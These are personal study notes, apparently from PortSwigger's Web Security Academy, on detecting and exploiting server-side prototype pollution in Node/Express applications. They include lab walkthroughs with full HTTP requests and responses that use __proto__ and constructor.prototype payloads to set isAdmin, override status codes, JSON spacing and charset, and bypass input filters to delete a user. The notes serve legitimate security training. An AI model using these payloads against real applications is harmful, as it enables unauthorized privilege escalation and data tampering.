Why is Server-side Prototype Pollution More Difficult to Detect?

For a number of reasons, server-side prototype pollution is generally more difficult to detect than its client-side variant:

  • No source code access - There’s no easy way to get an overview of which sinks are present or spot potential gadget properties.
  • Lack of developer tools - As the JavaScript is running on a remote system, you don’t have the ability to inspect objects at runtime like you would when using your browser’s DevTools to inspect the DOM.
  • The DoS problem - Successfully polluting objects in a server-side environment using real properties often breaks application functionality or brings down the server completely.
  • Pollution persistence - Once you pollute a server-side prototype, this change persists for the entire lifetime of the Node process and you don’t have any way of resetting it.

Detecting Server-side Prototype Pollution via Polluted Property Reflection

An easy trap for developers to fall into is forgetting or overlooking the fact that a JavaScript for...in loop iterates over all of an object’s enumerable properties, including ones that it has inherited via the prototype chain.

const myObject = { a: 1, b: 2 };
 
// pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar';
 
// confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false
 
// list names of properties of myObject
for(const propertyKey in myObject){
    console.log(propertyKey);
}
 
// Output: a, b, foo

If the application later includes the returned properties in a response, this can provide a simple way to probe for server-side prototype pollution. POST or PUT requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it’s common for servers to respond with a JSON representation of the new or updated object.

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}

If the website is vulnerable, your injected property would then appear in the updated object in the response:

HTTP/1.1 200 OK
...
{
    "username":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "foo":"bar"
}

Any features that involve updating user data are worth investigating as these often involve merging the incoming data into an existing object that represents the user within the application. If you can add arbitrary properties to your own user, this can potentially lead to a number of vulnerabilities, including privilege escalation.

Lab: Privilege Escalation via Server-side Prototype Pollution

The original request used for updating address of a user:

POST /my-account/change-address HTTP/2
Host: 0a92007803c2d47d809e0d7f00e8007c.web-security-academy.net
Cookie: session=1d9xQCX3IsMagk4vkY9V0lTCJgW67NZ4
Content-Length: 168
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a92007803c2d47d809e0d7f00e8007c.web-security-academy.net
Referer: https://0a92007803c2d47d809e0d7f00e8007c.web-security-academy.net/my-account?id=wiener
 
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "1d9xQCX3IsMagk4vkY9V0lTCJgW67NZ4"
}

Change request body into this:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "1d9xQCX3IsMagk4vkY9V0lTCJgW67NZ4",
  "__proto__": {
	  "isAdmin": true
  }
}

Resend the request, the response of it is:

HTTP/2 200 OK
X-Powered-By: Express
Cache-Control: no-store
Content-Type: application/json; charset=utf-8
Etag: W/"c4-o1d3jaxaEdwNnwhzORq6DYSiPxI"
Date: Tue, 03 Sep 2024 07:50:08 GMT
Keep-Alive: timeout=5
X-Frame-Options: SAMEORIGIN
Content-Length: 196
 
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": true
}

We now can access /admin endpoint and delete carlos user.

Detecting Server-side Prototype Pollution without Polluted Property Reflection

One approach is to try injecting properties that match potential configuration options for the server. You can then compare the server’s behavior before and after the injection to see whether this configuration change appears to have taken effect. If so, this is a strong indication that you’ve successfully found a server-side prototype pollution vulnerability.

We’ll look at the following techniques:

  • Status code override
  • JSON spaces override
  • Charset override

Info

You can use any of the techniques covered in this section to solve the accompanying lab.

Status Code Override

Server-side JavaScript frameworks like Express allow developers to set custom HTTP response statuses. In the case of errors, a JavaScript server may issue a generic HTTP response, but include an error object in JSON format in the body.

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

Node’s http-errors module contains the following function for generating this kind of error response:

function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status // first line
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status > 400 || status >= 600))) { // second line
        status = 500
    }
    //...

The first commented line attempts to assign the status variable by reading the status or statusCode property from the object passed into the function (arg). If the website’s developers haven’t explicitly set a status property for the error, you can potentially use this to probe for prototype pollution as follows:

  1. Find a way to trigger an error response.
  2. Try polluting the prototype with your own status property (without trigger the error response).
  3. Trigger the error response again and check whether you’ve successfully overridden the status code.

Note

You must choose a status code in the 400-599 range. Otherwise, Node defaults to a 500 status regardless, as you can see from the second commented line, so you won’t know whether you’ve polluted the prototype or not.

JSON Spaces Override

The Express framework provides a json spaces option, which enables you to configure the number of spaces used to indent any JSON data in the response. In many cases, developers leave this property undefined as they’re happy with the default value, making it susceptible to pollution via the prototype chain.

Info

Although the prototype pollution has been fixed in Express 4.17.4, websites that haven’t upgraded may still be vulnerable.

Charset Override

Notice that the following code passes an options object into the read() function, which is used to read in the request body for parsing.

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})

One of these options, encoding, determines which character encoding to use. This is either derived from the request itself via the getCharset(req) function call, or it defaults to UTF-8:

var charset = getCharset(req) or 'utf-8'
 
function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

If you look closely at the getCharset() function, it looks like the developers have anticipated that the Content-Type header may not contain an explicit charset attribute, so they’ve implemented some logic that reverts to an empty string in this case.

If you can find an object whose properties are visible in a response, you can use this to probe for sources:

  1. Add an arbitrary UTF-7 encoded string to a property that’s reflected in a response. For example, foo in UTF-7 is +AGYAbwBv-.

    {
        "sessionId":"0123456789",
        "username":"wiener",
        "role":"+AGYAbwBv-"
    }
  2. Send the request. Servers won’t use UTF-7 encoding by default, so this string should appear in the response in its encoded form.

  3. Try to pollute the prototype with a content-type property that explicitly specifies the UTF-7 character set:

    {
        "sessionId":"0123456789",
        "username":"wiener",
        "role":"default",
        "__proto__":{
            "content-type": "application/json; charset=utf-7"
        }
    }
  4. Repeat the first request. If you successfully polluted the prototype, the UTF-7 string should now be decoded in the response:

    {
        "sessionId":"0123456789",
        "username":"wiener",
        "role":"foo"
    }

The reason why we use "content-type" property

To avoid overwriting properties when a request contains duplicate headers, the _addHeaderLine() function checks that no property already exists with the same key before transferring properties to an IncomingMessage object:

IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

If it does, the header being processed is effectively dropped. Due to the way this is implemented, this check (presumably unintentionally) includes properties inherited via the prototype chain. This means that if we pollute the prototype with our own content-type property, the property representing the real Content-Type header from the request is dropped at this point, along with the intended value derived from the header.

Lab: Detecting Server-side Prototype Pollution without Polluted Property Reflection

Status Code Override

First, we try the status code override approach by delete the last curly bracket in the request body of change address endpoint:

POST /my-account/change-address HTTP/2
 
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ"

Its response:

HTTP/2 500 Internal Server Error
 
{
  "error": {
    "expose": false,
    "statusCode": 500,
    "status": 500,
    "body": "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Wayaaaa\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ\",\r\n\"__proto__\":{\"status\": 500\r\n}",
    "type": "entity.parse.failed"
  }
}

As we can see, there is a status property.

Now, fix the request body and add __proto__ property:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "__proto__": {
    "status": 444
  }
}

This time, the server should respond a normal object and the status property should be polluted.

To confirm, we break the request body again and send the request.

The response has status with value 444, which indicates that we can perform prototype pollution:

HTTP/2 500 Internal Server Error
 
{
  "error": {
    "expose": true,
    "statusCode": 444,
    "status": 444,
    "body": "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Wayaaaa\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ\",\r\n\"__proto__\":{\"status\": 444\r\n}\r\n",
    "type": "entity.parse.failed"
  }
}

Reference

Detecting server-side prototype pollution without polluted property reflection — A canopy of apple-blossom (tymyrddin.dev)

JSON Spaces Override

This time, we change polluted property to json spaces:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "__proto__": {
    "json spaces": 32
  }
}

Its response indicates that we have conducted prototype pollution successfully:

{
          "username": "wiener",
          "firstname": "Peter",
          "lastname": "Wiener",
          "address_line_1": "Wiener HQ",
          "address_line_2": "One Wiener Wayaaaa",
          "city": "Wienerville",
          "postcode": "BU1 1RP",
          "country": "UK",
          "isAdmin": false
}

Charset Override

Add a property that has UTF-7 encoded value:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "role": "+AGYAbwBv-"
}

The response:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "role": "+AGYAbwBv-",
  "isAdmin": false
}

Add content-type property:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "role": "+AGYAbwBv-",
  "__proto__": {
	  "content-type": "application/json; charset=utf-7"
  }
}

Repeat the first request and its response has the decoded value of role property, indicates that we have conducted prototype pollution successfully:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "role": "foo",
  "isAdmin": false
}

Scanning for Server-side Prototype Pollution Sources

  1. Explore the target website using Burp’s browser to map as much of the content as possible and accumulate traffic in the proxy history.
  2. In Burp, go to the Proxy > HTTP history tab.
  3. Filter the list to show only in-scope items.
  4. Select all items in the list.
  5. Right-click your selection and go to Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution, then select one of the scanning techniques from the list.
  6. When prompted, modify the attack configuration if required, then click OK to launch the scan.

Info

In Burp Suite Professional, the extension reports any prototype pollution sources it finds via the Issue activity panel on the Dashboard and Target tabs. If you’re using Burp Suite Community Edition, you need to go to the Extensions > Installed tab, select the extension, then monitor its Output tab for any reported issues.

Note

If you’re unsure which scanning technique to use, you can also select Full scan to run a scan using all of the available techniques. However, this will involve sending significantly more requests.

Bypassing Input Filters for Server-side Prototype Pollution

Node applications can delete or disable __proto__ altogether using the command-line flags --disable-proto=delete or --disable-proto=throw respectively. However, this can also be bypassed by using the constructor technique.

Lab: Bypassing Flawed Input Filters for Server-side Prototype Pollution

The objective of this lab is privilege escalation.

First, try this request body:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl",
  "isAdmin": true
}

Response:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}

As we can see, isAdmin property does not change.

Next, add __proto__ property:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl",
  "__proto__": {
	  "isAdmin": true
  }
}

The isAdmin property does not change.

Use constructor instead:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl",
  "constructor": {
	"prototype": {
	  "isAdmin": true
	}
  }
}

The response is different:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": true
}

As we can see, isAdmin is set to true.

Send request to /admin:

GET /admin HTTP/2
Host: 0ad700a004049e3781a007fd00e100bc.web-security-academy.net
Cookie: session=lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl

The endpoint used for deleting carlos user: /admin/delete?username=carlos. Send a POST request to this endpoint.

list
from outgoing([[Port Swigger - Server-side Prototype Pollution Vulnerabilities]])
sort file.ctime asc

Charset Override

Resources